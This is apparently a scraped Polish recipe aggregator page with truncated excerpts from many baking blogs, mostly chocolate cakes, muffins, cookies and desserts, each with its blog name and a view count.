białego cukru 4 łyżki brązowego cukru 1 jajko 1 łyżeczka ekstraktu waniliowego 1/2 szklanki mąki 4 łyżki gorzkiego kakao 1 łyżeczka sody oczyszczonej 1/2 łyżeczki soli 50 g mlecznej czekolady, drobno posiekanej CZAS PRZYGOTOWANIA: 20 MIN POZIOM TRUDNOŚCI: ŁATWY 1. Masło i cukier umieszczamy w misie blendera. Miksujemy na puszystą masę. Dodajemy jajko i ekstrakt waniliowy i ponownie krótko miksujemy(...)drugiej misce łączymy mąkę, kakao, sól i sodę. Przekładamy do cukrowej masy i dokładnie mieszamy. Wsypujemy większość posiekanej czekolady (ok. 2 łyżek zostawiamy do posypania wierzchu). I ponownie mieszamy. 2. Piekarnik rozgrzewamy do 180 stopni Celsjusza. Masę dzielimy na dwie równe części i wykładamy na blaszkę wyłożoną papierem do pieczenia. Z masy formujemy dwa giga-ciastka (o średnicy około

My Culinary Art
Pomaranczowe babeczki (muffinki) z czekolada czyli Slodki Czwartek odc.76 126

Zamarzyło mi się pomarańczowo czekoladowe połączenie...  Upiekłam więc wczoraj poniższe muffinki.  Prawdę mówiąc nie została mi do kawy na dziś nawet jedna... Pomarańczowe babeczki (muffinki) z czekolada (szkl. to u mnie 200 ml) 2 szkl. mąki pszennej 3/4 szkl. cukru szczypta soli 2 płaskie łyżeczki proszku do pieczenia po pół szkl. soku pomarańczowego i śmietany kremówki(...)rozpuszczonego masła roślinnego 1 jajko, rozbełtane garść czekoladowych groszków lub posiekanej czekolady deserowej łyżeczka kandyzowanej skórki pomarańczowej do polania: 50 ml soku pomarańczowego  wymieszanego z 3 łyżeczkami cukru pudru W misce łączymy suche składniki a w dużym kubku mokre. Mokre składniki wlewamy do suchych i mieszamy energicznie widelcem. Dorzucamy czekoladę i skórkę, mieszamy i nakładamy do foremki wyłożonej papilotkami

Dzieje kuchennej Wiewióry
Podwójnie czekoladowy torcik przekładany bananami 135

Cudowny. Idealny. Jestem bardzo podatna na uroki czekolady, a ten deser to spełnienie moich oczekiwań z nią związanych: ciasto rozpływa się w ustach, jest pyszne, miękkie i wilgotne, głęboko czekoladowe i, co najważniejsze, poprawia humor. Podwójnie czekoladowy, ponieważ, oprócz ciasta, które samo w sobie zawiera sporo czekoladowych składników, tort przekładany jest ciemnym daktylowym kremem z dodatkiem kakao. Składniki: Ciasto(...)szkl. pełnoziarnistej mąki pszennej 1 płaska łyżeczka sody 2 łyżki kakao 1 szkl. migdałów 1 tabliczka (100 g) dobrej jakości gorzkiej czekolady (min. 70 %) 150 g daktyli 1 szkl.+ ¾ szkl. ryżowego mleka (lub innego) 2 dojrzałe banany 1 łyżka ekstraktu z wanilii Krem: 180 g daktyli ¾ szkl. roślinnego mleka 4 duże łyżki kakao 2 dojrzałe banany do przełożenia Tortownicę

Roślinna - blog wegański
Czekoladowe ciasto z musem malinowo-truskawkowym 378

różne smaki to wcale się nie gryzą ze sobą !  Żródło :  KLIK Składniki : (blaszka  39,5 x 23,5  ) CIASTO : 1 szkl, mleka 1 tabliczka gorzkiej czekolady 2 jajka 1 szkl cukru 1/2 szkl. oleju 1 szkl. kwaśnej śmietany  kilka kropel aromatu waniliowego 2 szkl. maki pszennej 1/2 szkl szklanki kakao 1 łyżeczka proszku do pieczenia(...)małego cukru wanilinowego 1 szkl. cukru 250g masła MUS: 2 galaretki truskawskowe 0,5l mrożonych malin szklanka wody CIASTO :Mleko podgrzać, by było gorące i rozpuścić w nim czekoladę - odstawić do ostygnięcia. Jaja utrzeć na jasny krem, dodawać stopniowo cukier, nie przestając ucierać. Dodać olej, śmietanę i aromat, zmiksować, Przestudzone mleko z czekoladą połączyć z masą i również zmiksować. Przesianą

Garnkowe fanaberie
Kawowa babka z polewą czekoladową 193

szklanki mąki pszennej 3 łyżki kakao 1/4 szklanki mocnej kawy rozpuszczalnej, 1 i 1/2 łyżeczki proszku do pieczenia 200 g rozpuszczonego masła Dodatkowo 100 g gorzkiej czekolady 3 łyżki śmietanki 30% Sposób przygotowania Masło rozpuścić w rondelku i odstawić by lekko przestygło. Jajka ubić mikserem do momentu, aż powstanie jasna i puszysta masa (ok. 5 minut). Wsypać cukier i jeszcze(...)obsypać mąką formę na babkę (piekłam w formie o średnicy 24 cm). Przelać ciasto i włożyć do nagrzanego piekarnika do 180 stopni ok. 45 minut (lub do suchego patyczka). Czekoladę połamać na mniejsze kawałki i przełożyć do rondelka. Dodać 3 łyżki śmietanki 30% i cały czas mieszając podgrzewać na małym ogniu, aż czekolada się rozpuści. Wystudzoną babkę delikatnie wyłożyć

pink envelope
Ciasto z białej czekolady z bananem i jagodami 127

Lubicie brownie? A białą czekoladę? Jeśli tak, to powinniście również polubić to ciasto ;) Składniki: 2 tabliczki białej czekolady 1 kostka masła 3 jajka 3/4 szklanki cukru 4 łyżki cukru waniliowego 1 łyżeczka proszku do pieczenia szczypta soli 2 garści jagód, duży banan W garnku topimy masło, obie czekolady i cukier oraz cukier waniliowy cały czas mieszając aż do rozpuszczenia się

Ewa Kuchennie - Kuchnia to serce domu!
Piernik z powidłami i czekoladą 140

jajka 1 i 3/4 szklanki mąki pszennej 200g miodu 2 łyżeczki przyprawy do piernika 1,5 łyżeczki sody oczyszczonej 1/2 łyżeczki cynamonu 2 łyżki kakao Polewa: 1 tabliczka gorzkiej czekolady 100 ml śmietany kremówki Żółtka oddzielamy od białek. Mieszamy wszystkie sypkie produkty: mąkę z sodą, cynamonem, kakao i przyprawą do piernika. Maso ucieramy z cukrem na puszystą, białą masę. Cały(...)minut, do suchego patyczka, w temperaturze 160 stopni. Wyjmujemy, studzimy. Po ostudzeniu przekrawamy wzdłuż i smarujemy powidłami. Ja użyłam moich powideł śliwkowych z cynamonem . Śmietanę podgrzewamy dorzucając do niej czekoladę ciągle mieszając. Jak czekolada się rozpuści a składniki połączą wyłączamy i zostawiamy na chwilę do przestygnięcia. Tak przygotowaną polewą oblewamy piernik. Gdy polewa zastygnie - kroimy i... jemy! Choć przyznam szczerze

Ewa Kuchennie - Kuchnia to serce domu!
Mhmmm… Ciasto 3 BIT… najlepsze… – duża blacha 3251

szklanki cukru 125 g masła 4 jaja 4 płaskie łyżki mąki pszennej 5 płaskich łyżek mąki ziemniaczanej 600 ml śmietanki kremówki 36 % 1 łyżka cukru pudru 100 g gorzkiej czekolady   Przygotowanie: Ze względu na to, że ciasteczka muszą zmięknąć – ciasto najlepiej przygotować dzień wcześniej, np. wieczorem. Dużą blachę (o wymiarach około 30 cm x 40 cm) wyłożyć papierem(...)wymagane przy tym cieście :) Na drugi dzień ciasto odwinąć z folii i ubić śmietanę. Pod koniec ubijania dodać cukier puder. Ubitą śmietanę wyłożyć na herbatniki. Ciasto udekorować startą gorzką czekoladą. Można od razu kroić i serwować :) Ciasto przechowujemy w lodówce. Nam najlepiej smakuje takie prosto z lodówki (czyli nie ogrzane do temperatury pokojowej). Smacznego!   Moje uwagi: W sprzedaży można

Moja Delicja
Jogurtowe- malinowo - bananowe 375

znam prostszego przepisu na ciasto. Dla mnie idealne smaki, banany i maliny. Do tego polewa z białej czekolady- rozkosz dla podniebienia. 250 g mąki pszennej 2 łyżeczki proszku do pieczenia 100 g cukru 0,5 łyżeczki cynamonu 3 jajka 260 g jogurtu naturalnego 75 ml oleju Aromat  waniliowy 1 banan 100 g malin 1 tabliczka białej czekolady 2 łyżki(...)kroimy w kosteczkę. Pokrojonego banana i maliny dodajemy do masy i mieszamy. Przygotowanym ciastem napełniamy foremkę o wymiarach 12x23 cm . Pieczemy w temperaturze 180*C przez 25 minut. Białą czekoladę rozpuszczamy z mlekiem w kąpieli wodnej. Polewamy ciasto i dekorujemy  malinami

VioletoweKucharzenie
Migdałowa bita śmietana na czekoladowo-serowym pucharku 140

łyżki oleju Jeśli nie posiadamy obranych migdałów, należy je zalać wodą i zostawić na całą noc. Wówczas proces obierania przebiega sprawniej. Na pucharek: 2 szklanki mleka 1 tabliczka mlecznej czekolady 3/4 szklanki naturalnego serka homogenizowanego (u mnie 0%) Przygotowanie: Bita śmietana: Migdały przekładamy do misy blendera, dodajemy olej, wodę i blendujemy na gładko. Jeśli posiadamy mniejszą ilość migdałów, można połączyć(...)tradycyjną bitą śmietaną. Ja dziś tak zrobiłam - w stosunku 1:1. Czekoladowo-serowy pucharek: Do garnka do mleka (lub innego z grubym dnem) wlewamy mleko i drobno połamaną czekoladę. Rozgrzewamy, aż zacznie się gotować. Następnie zmniejszamy ogień i gotujemy jeszcze przez około 3-4 minuty cały czas mieszając. Zdejmujemy z ognia i studzimy. Gdy nasza czekolada przestygnie delikatnie łyżka

Słodkie okruszki
Czekoladowo-marcepanowy napój 151

Uwielbiam czekoladę i marcepan. Wszelkiego rodzaju desery, ciasta i inne słodkości z tymi składnikami są ucztą dla mojego podniebienia. Dziś zapraszam Was na wypróbowanie szybkiego w wykonaniu napoju czekoladowo-marcepanowego. U mnie ten napój ma wielu fanów, znika równie szybko jak się go robi. Jest idealny na poprawę nastroju :) Idealny na ciepło, jak i na zimno. Znika bardzo szybko... Spróbujcie(...)Składniki: 2 łyżki dobrego kakao 80 g marcepanu 8-10 kostek gorzkiej czekolady 600 ml mleka 1 łyżka cukru 1 łyżeczka cukru waniliowego Przygotowanie: Mleko gotujemy w garnku z grubym dnem. Do gotującego się mleka dodajemy cukier, wsypujemy startą na tarce (lub drobniutko pokrojoną) czekoladę oraz kakao. Mieszamy, aż wszystkie składniki się rozpuszczą i połączą z mlekiem. Następnie dodajemy marcepan

Słodkie okruszki
Rolada biszkoptowa z masą truskawkową i czekoladową polewą. 148

Truskawki i czekolada to połączenie idealne :) Ciasto łatwe i szybkie w przygotowaniu. Biszkoptowa rolada jest w smaku delikatna, a masa kremowa. Szybko znika ze stołu.  Kształt nie wyszedł idealny, ale jak na pierwszą w życiu roladę biszkoptową nie jest źle ;) Normal 0 21 false false false PL X-NONE X-NONE /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy(...)font:minor-latin; mso-fareast-language:EN-US;} 450 g truskawek (dałam mrożone)   150 ml serka mascarpone   2 łyżki żelatyny   1/4 szklanki cukru pudru  mleczna czekolada    Przygotowanie: Białka ubijamy ze szczyptą soli, pod koniec ubijania dodajemy powoli cukier. Gdy piana jest już sztywna dokładamy po jednym żółtku dalej ubijając do połączenia składników. Następnie dodajemy

Symfonia smakowa
Ferrero Rocher, czyli babko- wianek o smaku orzechów laskowych i czekolady :) 154

Oczywiście zmieniłam przepis nieznacznie- polewa i orzeszki na górze :) Ciasto jest wyśmienite! Polecam na świąteczny stół, czy niedzielne spotkanie przy kawusi :) Ciasto: 180g margaryny 220g cukru 3 jajka 100g czekolady ( najlepiej deserowej) 1 duży cukier waniliowy 200ml letniego mleka 1 łyżeczka proszku do pieczenia 200g zmielonych orzechów laskowych 275g mąki Wierzch można pokryć, do wyboru: - gotową polewą czekoladową i prażonymi(...)orzechami laskowymi* - cukrem pudrem, - lukrem, Na początek smarujemy tłuszczem i wysypujemy bułką tartą tortownice średnicy 24cm z oczkiem. Następnie mielimy orzechy laskowe na miałką mączkę. Czekoladę trzemy na drobnej tarce. Margarynę ucieramy z cukrem i cukrem waniliowym na puszysta masę, do której dodajemy kolejno po jednym jajku ciągle ucierając mikserem. Następnie dodajemy na przemian letnie mleko i startą czekoladę

Smakowy Raj
American Chocolate Chips Cookies- kruche ciasteczka z czekoladą i orzechami, tzw. pieguski 145

swoje domy miały takie sławy jak Oprah, czy Tom Cruise. Żadnej z sław nie spotkałam, ale obok wyciągu gondolowego, był mały sklepik z pieczonymi na miejscu kruchymi ciasteczkami z czekoladą. Jak dla mnie były gigantyczne, bo wielkości dłoni- dlatego też sprzedawali je na sztuki. W każdym razie wycieczkę mile wspominam, a ciasteczka zaczęłam wypiekać sama, do czego Was również zachęcam(...)jajka 1 kostka margaryny ½ łyżeczki proszku do pieczenia ½ łyżeczki sody 1 op. cukru waniliowego ½ łyżeczki soli 1 szklanka orzechów (mogą być mieszane: laskowe, włoskie, pekany) 200-300g czekolady (lub czekoladowe kropelki) Miękką margarynę ucieramy z cukrem, następnie dodajemy jajka, proszek do pieczenia, sodę, sól, cukier waniliowy i mąkę. Całość należy dobrze utrzeć na jednolitą masę. Na koniec dodajemy pokrojoną

Smakowy Raj
Ciasteczka ze słonecznikiem i płatkami owsianymi ( + z czekoladą) 121

słonecznika i płatków owsianych są moją trochę zmodyfikowaną wersją American chocolate chips cookies . Ja podzieliłam ciasto na dwie części i w ten sposób, miałam również pyszną wersję z czekoladą :) Ciasteczka: 1 kostka margaryny 1 ½ szklanki cukru 1 op. cukru waniliowego 2 jajka 1 łyżeczka proszku do pieczenia 3 ½ szklanki mąki ½ łyżeczki soli 1 ½ szklanki płatków owsianych 1 ½ szklanki prażonego słonecznika(...)czekolada (jeśli ktoś chce :) Słonecznik wrzucamy na gorącą patelnie i smażymy bez dodatku tłuszczu, mieszając. Uprażony w ten sposób słonecznik zyskuje dużo bogatszy smak. Następnie przekładamy słonecznik na talerz i pozostawiamy do całkowitego wystygnięcia. Miękką margarynę ucieramy z cukrem i cukrem waniliowym. Następnie dodajemy jajka, proszek, sól i mąkę. Do dobrze wymieszanej masy dodajemy płatki owsiane i słonecznik. Ponownie mieszamy

Smakowy Raj
Rogaliki drożdżowe z kremem czekoladowo- słonecznikowym 117

Drożdżowe rogaliki były inspiracją pewnego sobotniego popołudnia… Wszystko zaczęło się od tego, że miałam drożdże, ale nie było marmolady, no wiec jak zobaczyłam czekoladę i słonecznik to stwierdziłam, że robie inną wersję. No i wyszło pysznie :) Dodam może jeszcze, że rogaliki zrobiłam z podwójnej porcji, bo taka już jestem, że lubię zrobić dużo żeby potem rozdawać :) Ciasto: 2 ¼ szklanki mąki(...)łyżeczka cukru) ¾ szklanki mleka 1 jajko 1 żółtko* 1 łyżka oliwy 1 płaska łyżeczka soli 100g margaryny 1 łyżeczka cukru waniliowego *Białko do posmarowania rogalików Krem czekoladowo- słonecznikowy 100g czekolady 2 łyżki nutelli lub masła 75g słonecznika Mleko podgrzewamy by było lekko ciepłe. Drożdże rozpuszczamy w kubeczku z cukrem i dodajemy do nich część mleka. Pozostawiamy do wyrośnięcia. W mące

Smakowy Raj
Brownies, czyli tort czekoladowy pięknej Magdaleny, z orzechami i migdałami, bez mąki 134

upiekłam go z mieszanki mielonych migdałów, orzechów włoskich i laskowych (wszystkiego mniej więcej było po 1/3). Polecam wypróbowanie przepisu, szczególnie czokoholikom, ale nie tylko :) Ciasto: 200g masła 200g czekolady (deserowej lub gorzkiej) 200g mieszanki mielonych migdałów i orzechów (laskowych i włoskich) 5 jajek 2x 70g cukru Czekoladę i masło rozpuszczamy w kąpieli wodnej, w taki sposób by naczynie w którym(...)się one znajdują, nie przywierało do gorącej wody, znajdującej się w naczyniu poniżej. (W innym wypadku czekolada może się nam zwarzyć). Do rozpuszczonej mieszanki czekoladowej następnie dodajemy 5 żółtek utartych z 70g cukru na kogel mogel i zmielone razem orzechy z migdałami. Całość dobrze mieszamy. Białka ubijamy na sztywną pianę, po czym dodajemy do nich 70g cukru i miksujemy jeszcze

Smakowy Raj
Princepolek, czyli ciasto z Prince Polo, migdałów, orzechów i kokosu :) 445

czym dodajemy do niego po trochu zimny budyń i cały czas ucieramy. Gotową masę budyniową przekładamy na biszkopt, po czym przykrywamy go masą bezową i robimy polewę. Polewa: 70g czekolady 100ml śmietanki kremówki (30%) Śmietankę zagotowujemy w garnuszku, po czym dodajemy do niej pociętą na drobniejsze kawałki czekoladę i cały czas mieszamy, do chwili, gdy powstanie jednolita masa czekoladowa. Gorącą(...)czekoladą oblewamy wierzch ciasta i pozostawiamy go, na co najmniej 2 godziny by ciasto wystygło, a jeszcze lepiej przystąpić do konsumpcji następnego dnia ;) R E K L A M A google_ad_client = "ca-pub-5566741004431373"; /* video */ google_ad_slot = "1319547379"; google_ad_width = 300; google_ad_height = 250; var linkwithin_site_id = 1628261; linkwithin_text='Zobacz także

Smakowy Raj
Eklerki (eklery) z kremem budyniowym 181

czubata łyżka mąki ziemniaczanej 1 płaska łyżka mąki pszennej 10dag miękkiego masła 82% * można dodać 50 ml advocata, na koniec, gdy krem jest już gotowy :) Dodatkowo: 50g deserowej czekolady + kolorowa posypka W garnku zagotowujemy wodę z margaryną. Gdy margaryna się rozpuści i woda zacznie wrzeć, zdejmujemy na chwile garnek z ognia, dodajemy mąkę i całość dobrze mieszamy, po czym ponownie(...)niego po trochu zimny budyń, cały czas miksując. Chodzi o to, by krem był gładki i jednolity. Eklerki przekrawamy na pół, smarujemy w środku kremem budyniowym i zlepiamy. Czekoladę rozpuszczamy w kąpieli wodnej, po czym pozostawiamy na chwilę. Chodzi o to by czekolada była płynna, ale zimna (ciepła może nam spłynąć z ciastek). Następnie przyozdabiamy nią eklerki i posypujemy posypką

Smakowy Raj
Fale Dunaju z jabłkami skąpanymi w kremie budyniowym 241

kakao Ok. 750g jabłek Krem budyniowy: ½ litra mleka 2 płaskie łyżki mąki pszennej 2 czubate łyżki mąki ziemniaczanej ½ szklanki cukru 2 łyżeczki cukru waniliowego 200g masła 82% Polewa: 100g czekolady (deserowej lub gorzkiej) 100ml śmietany kremówki Miękka margarynę ucieramy mikserem. Osobno ucieramy jajka z cukrem do czasu, gdy cukier się rozpuści. Następnie łączymy utarte jajka z margaryną i dodajemy(...)cały krem połączy się w jednolitą, gładką masę. Gotowy krem budyniowy wylewamy na wystudzone ciasto, wyrównując jego powierzchnię. Śmietanę zagotowujemy w rondelku, na wolnym ogniu, a następnie dodajemy rozdrobnioną czekoladę i mieszamy do momentu, gdy czekolada się rozpuści, a cała masa zagotuje. Ciepłą masę pozostawiamy na chwilę, by przestygła lub wkładamy do naczynia z zimną wodą i mieszamy. Po chwili

Smakowy Raj
3bit + Twix = 4bit, czyli słodki diabeł z masą krówkową:) 316

duże paczki) 400g masy krówkowej 150ml wody (przegotowanej lub mineralnej niegazowanej) Krem budyniowy: 4 budynie waniliowe (bez cukru) 1400ml mleka ½ szklanki cukru 250g miękkiego masła 82% Polewa: 100g czekolady np. deserowej 70ml mleka Dekoracja (którą można, ale nie trzeba robić): ok. 2 łyżki uprażonych siekanych orzechów laskowych Odlewamy około szklankę mleka, w którym rozpuszczamy budynie. Resztę mleka zagotowujemy. Gdy zacznie(...)wrzucamy na rozgrzaną patelnię i smażymy na wolnym ogniu, stale mieszając, aż się lekko zrumienią. Następnie przesypujemy na talerzyk (zostawione na patelni prawdopodobnie się spalą) i pozostawiamy do wystygnięcia. Czekoladę koimy lub łamiemy na mniejsze kawałki, wkładamy do rondelka, zalewamy mlekiem i gotujemy na wolnym ogniu, stale mieszając, by czekolada dobrze się rozpuściła i zagotowała z mlekiem. Po około

Smakowy Raj
Babeczki waniliowe z bogatym budyniowym wnętrzem 137

łyżeczka cukru waniliowego 2 żółtka Babeczki z budyniem można posypać cukrem pudrem lub zrobić lukier. Lukier: ok. ¾ szklanki cukru pudru ok.3 łyżki mleka lub soku z cytryny Kropelki: 40g czekolady 20ml mleka Miękką margarynę ucieramy łyżką lub szpatułką z cukrem i cukrem waniliowym. Następnie dodajemy jajka i śmietanę oraz mąkę wymieszaną z proszkiem do pieczenia. Dobrze wyrabiamy ciasto ręcznie(...)przestygły. Wystudzone ciasteczka posypujemy cukrem pudrem lub lukrujemy. By zrobić lukier wystarczy dobrze wymieszać łyżeczką cukier puder z mlekiem lub sokiem z cytryny. Polukrowane babeczki pozostawiamy, by lukier stwardniał. Czekoladę łamiemy i zalewamy mlekiem, po czy gotujemy na wolnym ogniu, stale mieszając, by czekolada się rozpuściła i lekko zgęstniała. Zdejmujemy z ognia i odstawiamy na około 3 – 5 minut

Smakowy Raj
Ciasteczka korzenne z bakaliami i czekoladą 135

Jakiś czas temu przyszedł mi smak na chrupiące ciasteczka ze świąteczną nutą i stwierdziłam, że może zmodyfikuję przepis na amerykańskie ciasteczka z czekoladą, czyli pieguski :) Ciasteczka wyszły bardzo smaczne. Do tego stopnia, że miały zostać na święta, a trzy dni przed pozostały śladowe ilości. Jak to powiedziała moja przyjaciółka Magda: silna wola okazała się silniejsza :) Trudno! Chyba czas upiec kolejną(...)jajka 1 płaska łyżeczka sody 1 płaska łyżeczka proszku do pieczenia 1 płaska łyżeczka soli 2 czubate łyżeczki przyprawy do piernika 1 łyżeczka cynamonu 3 szklanki mąki 100g czekolady np. deserowej lub kropelki czekoladowe 2 szklanki bakalii (w tym: orzechy włoskie, laskowe, migdały, rodzynki, żurawina, pokrojone morele i kandyzowana skórka pomarańczowa etc.) Miękką margarynę ucieramy z cukrem, następnie dodajemy jajka

Smakowy Raj
Ciasto słonecznikowe 292

200g miękkiego masła 82% Dodatkowo: 1 ½ szklanki łuskanego słonecznika ( około 225g) Ok. 200g prostokątnych herbatników (około 20 sztuk) Ok. ½ szklanki przegotowanej zimnej wody lub wódki Polewa: 100g czekolady np. deserowej 100ml śmietany kremówki Dekoracja: Kokos Kolorowe posypki do ciasta Białka ubijamy na sztywną pianę, dodajemy do nich cukier, jeszcze chwilę miksujemy, po czym dodajemy kolejno żółtka. Po dodaniu wszystkich żółtek(...)wyrównać powierzchnię kremu nożem. Następnie układamy herbatniki, lekko skrapiamy wodą (lub alkoholem) i odstawiamy ciasto na około godzinę w zimne miejsce, by krem stwardniał. Po tym czasie przygotowujemy polewę. Czekoladę koimy lub łamiemy na mniejsze kawałki, wkładamy do rondelka, zalewamy śmietaną i gotujemy na wolnym ogniu, stale mieszając, by czekolada dobrze się rozpuściła i zagotowała. Po około 3 – 5 minutach

Smakowy Raj
Wafle z masą krówkową (kajmakiem) 205

zrobionej samodzielnie masy krówkowej Przyrządzamy masę krówkową wg poniższego przepisu: 300g cukru 30g masła 120 ml mleka skondensowanego (bez cukru) 1 opakowanie cukru waniliowego (lub laska wanilii) 300g białej czekolady (lub deserowej – jeśli masa ma być o smaku kakao) 1 – 2 opakowania wafli (najlepiej prostokątnych lub kwadratowych) Cukier i cukier waniliowy rozpuszczamy w garnku, który następnie zdejmujemy z ognia(...)dodajemy masło i mleko. Ponownie masę zagotowujemy. Od zagotowania gotujemy około 3 minuty, cały czas mieszając. Garnek zdejmujemy z ognia i wsypujemy drobno posiekaną czekoladę. Mieszamy do całkowitego rozpuszczenia się czekolady, po czym pozostawiamy gotową masę do przestygnięcia. Przestygniętą masą przekładamy wafle. Uwaga: By wafle dobrze zlepiły się z masą najlepiej nakładać ją na głębsze kwadraciki wafli i przykładać

Smakowy Raj
Piernik wyborny siostry Anieli 207

najważniejsze w nim jest to, by jego konsystencja nie była ani zbyt płynna, ani sztywna. Gotowym lukrem pokrywamy zimny piernik i pozostawiamy do zastygnięcia Polewa czekoladowa: 150g czekolady np. deserowej 150ml śmietany słodkiej Czekoladę łamiemy na mniejsze kawałki, zalewamy w rondelku śmietaną i gotujemy na wolnym ogniu, aż czekolada całkowicie się rozpuści i masa się zagotuje. Gotową polewą oblewamy zimne

Smakowy Raj
Miodownik, placek czeski, stefanka 216

łyżek miodu 2 łyżeczki sody Masa grysikowa: 1400 ml mleka  200g grysiku (kaszy manny) 3 łyżeczki cukru waniliowego 350g miękkiego masła 82% 20 dag cukru pudru Polewa: 40g czekolady 40 ml mleka  Mleko zagotowujemy i powoli wsypujemy grysik, stale mieszając by nie było grudek. Po ugotowaniu pozostawiamy kaszę manną do ostygnięcia. Mąkę mieszamy z sodą i robimy(...)grudek. Gotowym kremem przekładamy ciasto, po połowie masy na jeden blat ciasta. Po przyłożeniu ostatniego blatu ciasta, lekko je dociskamy. Boki ciasta wyrównujemy nożem. Na wierzch ciasta przygotowujemy polewę. Czekoladę łamiemy na mniejsze kawałki, zalewamy mlekiem i gotujemy na wolnym ogniu, stale mieszając, do chwili gdy masa się zagotuje. Z polewy robimy nożem lub uchwytem z łyżeczki cienkie kreseczki. Można

Smakowy Raj
Rafaello 1631

jajek 1 ¼ szklanki cukru 1 ¼ szklanki mąki Ewentualnie 1 łyżeczka proszku do pieczenia Masa śmietankowa: 700ml śmietany kremówki 30% 2 śmietan fixy 1 łyżka cukru 100 – 150g białej czekolady 200g płatków migdałowych Ok. 50 – 100g kokosu do posypania Dodatkowo: Ok. ½ szklanki wody (zimnej przegotowanej lub mineralnej niegazowanej), wódki lub likieru kokosowego Białka oddzielamy od żółtek. Białka ubijamy na sztywną pianę(...)temperaturze 180 ⁰ C przez około 25 minut. Upieczony, lekko przestudzony biszkopt delikatnie odrywamy od papieru i ponownie go na nim kładziemy. Zimny biszkopt nasączamy wodą lub alkoholem. Białą czekoladę trzemy na średnich oczkach tarki. Śmietanę ubijamy z cukrem, po chwili dodajemy śmietan fixy i ubijamy na sztywno. Do ubitej śmietany dodajemy potartą białą czekoladę i płatki migdałowe, dobrze razem mieszamy

Smakowy Raj
Czekoladowe Cupcakes 169

papilotkę napełniamy do 3/4 wysokości. Wkładamy do nagrzanego do 170 stopni piekarnika. Pieczemy około 15 minut lub do tzw. suchego patyczka. Odstawiamy do ostygnięcia. Krem śmietankowo-czekoladowy: 150 g czekolady mlecznej 200 ml śmietany kremówki 250 g serka mascarpone 12 toffifee Czekoladę rozpuszczamy w kąpieli wodnej i odstawiamy do ostygnięcia. Serek i śmietanę umieszczamy w misie miksera i ubijamy(...)uzyskania gęstego kremu. Wlewamy czekoladę, mieszamy szpatułką do połączenia się. Rękaw cukierniczy, zakończony okrągłą tylką wypełniamy kremem, następnie dekorujemy babeczki. Na sam czubek wykładamy toffifee. Inspiracja bbcgoodfood.com   The post Czekoladowe Cupcakes appeared first on Made

Made By Mom And Son
Ciasto kawowo - bananowe 254

wody 250 g serka mascarpone 1 szklanka cukru pudru 500 ml śmietany 30 % krem  300 ml śmietany 30% 1 śmietan fix 3 łyżki cukru pudru 100 g gorzkiej czekolady Wszystkie składniki dostaniecie tutaj  Przygotowanie: spód Blachę wykładamy papierem pergaminowym. Herbatniki kruszymy i łączymy je z migdałami oraz miękkim masłem, ciastem wykładamy spód blachy, dobrze dociskając.  masa(...)ubijamy na sztywna pianę i mączymy z mieszanką serową, cały czas mieszając dodajemy mieszankę kawową. Jak krem zacznie powoli tężeć wykładamy na spód ciasta, wyrównując. krem  Czekoladę rozpuszczamy w kąpieli wodnej, delikatnie ostudzamy. Śmietanę ubijamy, dodajemy śmietan fix i cukier puder, dodajemy czekoladę i wszystko mieszamy. Układamy polewę na krem. Całe ciasto wstawiamy do lodówki

Niezły Młynek
Glazurowane owoce z kokosową praliną i lodami pod posypką z orzechów laskowych. 184

Dzień Kobiet kojarzy mi się przede wszystkim ze specjalną akademią organizowaną w podstawówce, czy grzebiąc głębiej w ośrodku pamięci, w przedszkolu. Pamiętam tandetne wierszyki, niepachnące goździki i wiśnie w czekoladzie, o ile były. Podobnie jak z walentynkami, nie przepadam za tym dniem, bo wszystkie kobiety zasługują na celebrację każdego powszedniego dnia. Jednak jak każdy, mając w sobie cząstkę egoizmu(...)wstążką grejpfruta. Bo lubi. Wieczorem zrobiłem jej eklektyczny deser, który w ostatecznym rozrachunku sam zjadłem z przyczyn żołądkowych. I tyle po dniu kobiet. Czego użyłem? Pralina: -4 kostki białej czekolady -pół łyżeczki masła -łyżka kokosu Masło topimy z białą czekoladą, mieszamy intensywnie, gdy składniki połączą się dodajemy kokos i zagniatamy, studzimy. Lepimy na kształt prostopadłościanu. Wkładamy do lodówki. Glazura: -łyżka

BaRepas
Muffinki czekoladowe 91

dziś - mocno czekoladowe muffinki, od których będzie Wam ciężko się oderwać, już po pierwszym gryzie :) Szybki i prosty przepis na nie znalazłam u  Pani Paszczakowej . Gdyby czekolady było mało, można babeczki dodatkowo nadziać jeszcze kremem czekoladowym. Nie obawiać się dodatkowych kilogramów, będzie co spalać na lato.  Składniki (na 12 szt. babeczek)  suche 250 g mąki(...)cukru 1 łyżeczka sody oczyszczonej 2 łyżeczki proszku do pieczenia 2 łyżki kakao mokre 250 g maślanki naturalnej 2 jajka 75 ml oleju Dodatkowo 100 czekolady mlecznej Sposób przygotowania  Suche składniki wymieszać razem ze sobą. W oddzielnej misce jajka roztrzepać z maślanką, dodać olej. Mokre składniki przelać do suchych, dodać połamaną czekoladę, wymieszać ciasto kilka razy. Masę przełożyć

pink envelope
Muffinki bananowe z czekoladą 144

dziś piekłam muffinki bananowe z czekoladą w środku. Lodowa sobota mnie wykańcza, więc postanowiłam ogrzać się ciepłem piekarnika i muffinek:) Przygotowałam sobie wszystkie składniki potrzebne do przepisu i moją blaszkę. Owy przepis zapożyczyłam od autorki blogu  muffinkarnia , który mnie tak oczarował, że co tylko najdzie mnie ochota na muffinki szukam tam inspiracji. Pierwszy raz je piekłam - wyszły wyborne! Składniki(...)suche 150 g mąki  120 g cukru 1 opakowanie cukru waniliowego 1 łyżeczka proszku do pieczenia mokre 150 g masła 2 banany 3 jajka Dodatkowo 1 tabliczka czekolady (u mnie z nadzieniem toffi) Sposób przygotowania Do jednej miski wsypać mąkę, cukry, proszek do pieczenia i wymieszać składniki. Masło rozpuścić, banany zmiksować blenderem (kto go nie posiada można również widelcem

pink envelope
Cynamonowo - kawowe 93

